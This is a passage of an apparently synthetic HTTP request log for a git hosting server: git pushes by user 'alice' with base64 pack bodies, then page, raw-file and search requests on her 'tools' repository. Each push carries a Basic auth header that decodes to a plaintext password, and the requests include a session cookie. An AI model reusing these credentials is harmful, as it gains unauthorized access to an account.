JxUOICADrbBTiyAnicK04tKstMTi224lJQKE9NAlEKCpm5iempVgp56Zl5FVwAvLIKdq8CeJwzNDAwMzFRyEosS9TLScxL1wsuKcoEUrkpDDqcykduszK1ZnX7O/2+3DJ3wducWABo9hG0OXicU1YILinKzEvnAgANQQLFqQV4nDM0MDAzMVHIzCsuSczJ0S1OLsosKNErzmA4WsLziFHnpxzTZC5LhjXrhBeuDpcyhCguqCzJyM8z1k3OSE3O1iuoZNjBZ6S0Ws37+qnf5umeeyUa/a+llwEAQ3sf9roBeJxTVtRPyszTL87gSk3OyFfIzCsuSczJycxL5wIAbs0Ivzx4nCsoyswr0VDKyFTS5AIAHBwDnqwCeJwzNDAwMzFRKCjKT04tLtZLzSvTS9ErKWZoZrzwV9ki/dEqV+5di3c4P5qYE/gAAFOgEcS7AnicS0lNzkksSlVIzs8rLlFIzSuzUghKTc4vSrEpLinKzEvXUYDQdtZcAF6zD3MdeaAnWyIMS8cNQ71Ry9eDVrG43w=="}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 617"], "body": "MDBjMjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZjdmZmE2MDM5NmQ5OWY2MTMxNWE1YTlhMjI1ZmMzMmViNjIyOGZkYiByZWZzL2hlYWRzL3B5dGhvbjMtbWlncmF0aW9uACByZXBvcnQtc3RhdHVzLXYyIHNpZGUtYmFuZC02NGsgcXVpZXQgb2JqZWN0LWZvcm1hdD1zaGExIGFnZW50PWdpdC8yLjQ5LjEtTGludXgwMDAwUEFDSwAAAAIAAAAElg14nJWNSwoCMRBE9zlF7wVJ0j35gIgewEMk6Q4OzJhhiKK3Nx7B2hS8R1F9F4GKwoGzUAmFinHOMCUO1gyKjrC6yDb6qLa0y6NDzjJZiykmqoHEF2RvtauUmbUbJkpAHbNKz35vO1yXuQic0q8u8k7rtsixtPUMxkfCYCbn4aBH1KDr3Lv8NVK39hLoDbbP+Hug+gLJoT+v+gPNgl/qzUzIUFkPJCiBpNxFCX63QXicO8h0kGkDP6NRbPrloHwvB+O3XZczPxVe7CwzvnPLxAAIFIqLkhlSck/+39vrYW/VJrD/AovcukaHxZYA3WMY768HeJwzNDAwMzFRyMwrLknMydEtTi7KLCjRK85gOFrC84hR56cc02QuS4Y164QXrg6XMoQozs1ML0osSdUrqGTYKb5c7aT9BD1nTdkJnNc8mluFrdOhqgoqSzLy84x1kzNSk7NBanfwGSmtVvO+fuq3ebrnXolG/2vpZQCoeiylOXicKyjKzCvRMNTkAgAQzwK6yhVHjb1hxkRjVbbQfVlakFC62Bw="}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 475"], "body": "MDBjNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgNGI1ZWMxYWFiNjUyNzJiNjNiNWIxZjM5YmZjMmMxNDY4NGMwNjNhMCByZWZzL2hlYWRzL2ZlYXQvZG9ja2VyLXN1cHBvcnQAIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAAOVDXiclYtbCsIwEEX/s4r8CzLNswERC25kJjODxdaWEMHlW5fg/TlwDrc3EesIQyoeoOQQaXCclFExhsqOKEQFUFJwZscmr26JJDrnsWDQMUiunrODpIGYIR2lyOihkMF3f2zNTstcxV7wh5t8cN0XOddtvdohl+DHIaZsT3DMHHade5e/TmZitvetPqXpvIj5AnIRP0P5As2CX+rNTMhQWQ8kKIGk3EUJfrdBeJw7yPScaUKQvEt+cnZqUVpmTipD+l/zCRITa+JfuB2Sut6UzLn8RVLLRO9vAGSzEms8eJxzC/L3VUjMKcjMS+UCABjGA9h6SWeBbtf5prUzWzGtbNHU1VZzAQ=="}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 218"], "body": "MDBiNjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgYmJlNTIyM2E5YTRmODRlN2MzZDcyMDZmNGJkZDA2MjIzOWU4MzA5YiByZWZzL3RhZ3MvdjEuMC4wACByZXBvcnQtc3RhdHVzLXYyIHNpZGUtYmFuZC02NGsgcXVpZXQgb2JqZWN0LWZvcm1hdD1zaGExIGFnZW50PWdpdC8yLjQ5LjEtTGludXgwMDAwUEFDSwAAAAIAAAAAAp0IgjvYqOq1EK1qx1yCPP0+0x4="}
|
|
||||||
{"method": "GET", "target": "/alice/powershell-scripts.git/info/refs?service=git-receive-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/powershell-scripts.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 397"], "body": "MDBiNTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZGQxYzIyM2RjZWI1NDQxMjdiNzhjZGMyYTZjZTM1NmY4ZWQ5NGYyZCByZWZzL2hlYWRzL21haW4AIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAAObCXiclYtRCsIwEAX/c4r9FyTbmO0GRPQoSXzBQGOlrODxrUdwfgYGxjaARNsEbjJ5pCRVYp0DtxCKIkfPUqLXO6O4/LbHutFt6RV0zj9d8cnjteBY13EhntMpKEdROvgdt9fRzfDX5Pqzm/sCJg8twKUCeJwzNDAwMzFRCHJ1dPF11ctNYXDttjkS9vTmppsC4WHfVpXW8TJZuQIA3ioNSjp4nFNWKE4uyiwoKeYCABGaA1YUrPZOD6Y21E0qY7z1OfdB9DOSug=="}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 212"], "body": "0014command=ls-refs\n001aagent=git/2.49.1-Linux0016object-format=sha100010009peel\n000csymrefs\n000bunborn\n001bref-prefix refs/heads/\n001fref-prefix refs/heads/main\n001aref-prefix refs/tags/\n0014ref-prefix HEAD\n0000"}
|
|
||||||
{"method": "GET", "target": "/assets/js/activity-heatmap.514f8f16.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/bin/docker-entrypoint", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/src/process.env.d.ts", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/docs/java.lang.String.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/%5Bdraft%5D.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/raw/branch/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/raw/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/blame/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/feat/docker-support/Dockerfile", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/tags", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/activity", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/repo-activity-top-authors-contributors-graph-code-frequency-graph-recent-commits-graph.2afcdb46.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/repo-activity-top-authors.0b8b147c.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/graph", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/compare/main...python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/dropzone.5a752d14.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/dropzone.265e21d7.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/tag/v1.0.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/archive/main.zip", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: session=d65379616ffd0971; lang=en-US", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/repos?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/code?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues?type=your_repositories&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/organizations?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?tab=repositories&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
